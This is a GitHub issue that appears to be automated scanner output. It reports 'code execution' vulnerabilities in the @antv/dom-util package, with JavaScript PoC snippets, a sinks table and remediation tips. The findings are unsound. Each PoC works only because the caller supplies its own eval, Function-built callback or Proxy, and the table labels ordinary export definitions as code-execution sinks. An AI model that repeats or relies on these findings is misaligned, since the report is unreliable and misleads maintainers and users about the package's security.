-
Notifications
You must be signed in to change notification settings - Fork 28
Description
Vulnerability Report: @antv/dom-util
hi, we are a security team. We found a vulnerability in your project.
Vulnerability Details
EX0003: Code Execution
Verified Output: [CASE_ID=EX0003] [VULN_CODE] Function constructor callback executed
Taint Analysis:
Attacker creates a callback using Function constructor (code execution) and passes it to addEventListener. When the malicious element's addEventListener is called, it immediately invokes the attacker-controlled callback, executing the dynamically constructed code.
Sink Location: package/package/esm/add-event-listener.js line 6
PoC Code:
const _pkg = await import(require.resolve('./package/package'));
const lib = _pkg.default;
const attackerCallback = new Function('console.log("TAINT_MARKER_FUNCTION_CONSTRUCTOR")');
const mockElement = { addEventListener: function(e, cb) { cb(); } };
lib.addEventListener(mockElement, 'click', attackerCallback);PoC File: poc_EX0003.js
EX0005: Code Execution
Verified Output: [CASE_ID=EX0005] [VULN_CODE] Code execution via eval-like addEventListener
Taint Analysis:
Attacker provides an element where addEventListener is replaced with eval. When the library calls target.addEventListener(eventType, callback, false), it becomes eval('console.log("TAINT_MARKER_EVAL")', callback, false), executing the eventType string as code.
Sink Location: package/package/esm/add-event-listener.js line 4
PoC Code:
const _pkg = await import(require.resolve('./package/package'));
const lib = _pkg.default;
const attackerElement = { addEventListener: eval };
lib.addEventListener(attackerElement, 'console.log("TAINT_MARKER_EVAL")', function() {});PoC File: poc_EX0005.js
EX0006: Code Execution
Verified Output: [CASE_ID=EX0006] [VULN_CODE] Callback executed via Proxy interception
Taint Analysis:
Attacker uses a Proxy object to intercept property access. When addEventListener checks for target.addEventListener, the Proxy's get trap returns a malicious function that immediately executes the callback, allowing attacker-controlled code execution through the callback parameter.
Sink Location: package/package/esm/add-event-listener.js line 6
PoC Code:
const _pkg = await import(require.resolve('./package/package'));
const lib = _pkg.default;
const proxy = new Proxy({}, { get: function(target, prop) { if(prop === 'addEventListener') return function(e, cb) { cb(); }; } });
lib.addEventListener(proxy, 'click', function() { console.log('TAINT_MARKER_PROXY_CALLBACK'); });PoC File: poc_EX0006.js
Affected Sinks
| File | Line | Type | Code Snippet |
|---|---|---|---|
package/package/esm/modify-css.js |
5 | DYNAMIC_PROP_WRITE | dom.style[key] = css[key]; |
package/package/lib/modify-css.js |
7 | DYNAMIC_PROP_WRITE | dom.style[key] = css[key]; |
package/package/esm/add-event-listener.js |
6 | CODE_EXEC_SINK | remove: function () { |
package/package/esm/add-event-listener.js |
16 | CODE_EXEC_SINK | remove: function () { |
package/package/lib/index.js |
6 | CODE_EXEC_SINK | Object.defineProperty(exports, "addEventListener", { enumerable: true, get: function () { return add_event_listener_1.default; } }); |
package/package/lib/index.js |
8 | CODE_EXEC_SINK | Object.defineProperty(exports, "createDom", { enumerable: true, get: function () { return create_dom_1.default; } }); |
package/package/lib/index.js |
10 | CODE_EXEC_SINK | Object.defineProperty(exports, "getHeight", { enumerable: true, get: function () { return get_height_1.default; } }); |
package/package/lib/index.js |
12 | CODE_EXEC_SINK | Object.defineProperty(exports, "getOuterHeight", { enumerable: true, get: function () { return get_outer_height_1.default; } }); |
package/package/lib/index.js |
14 | CODE_EXEC_SINK | Object.defineProperty(exports, "getOuterWidth", { enumerable: true, get: function () { return get_outer_width_1.default; } }); |
package/package/lib/index.js |
16 | CODE_EXEC_SINK | Object.defineProperty(exports, "getRatio", { enumerable: true, get: function () { return get_ratio_1.default; } }); |
package/package/lib/index.js |
18 | CODE_EXEC_SINK | Object.defineProperty(exports, "getStyle", { enumerable: true, get: function () { return get_style_1.default; } }); |
package/package/lib/index.js |
20 | CODE_EXEC_SINK | Object.defineProperty(exports, "getWidth", { enumerable: true, get: function () { return get_width_1.default; } }); |
package/package/lib/index.js |
22 | CODE_EXEC_SINK | Object.defineProperty(exports, "modifyCSS", { enumerable: true, get: function () { return modify_css_1.default; } }); |
package/package/lib/add-event-listener.js |
8 | CODE_EXEC_SINK | remove: function () { |
package/package/lib/add-event-listener.js |
18 | CODE_EXEC_SINK | remove: function () { |
Remediation
- Validate all configuration options and callbacks before use
- Avoid passing untrusted functions or objects as configuration
- Use TypeScript strict typing to prevent unexpected function injection
- Review all entry points that accept user-controlled configuration objects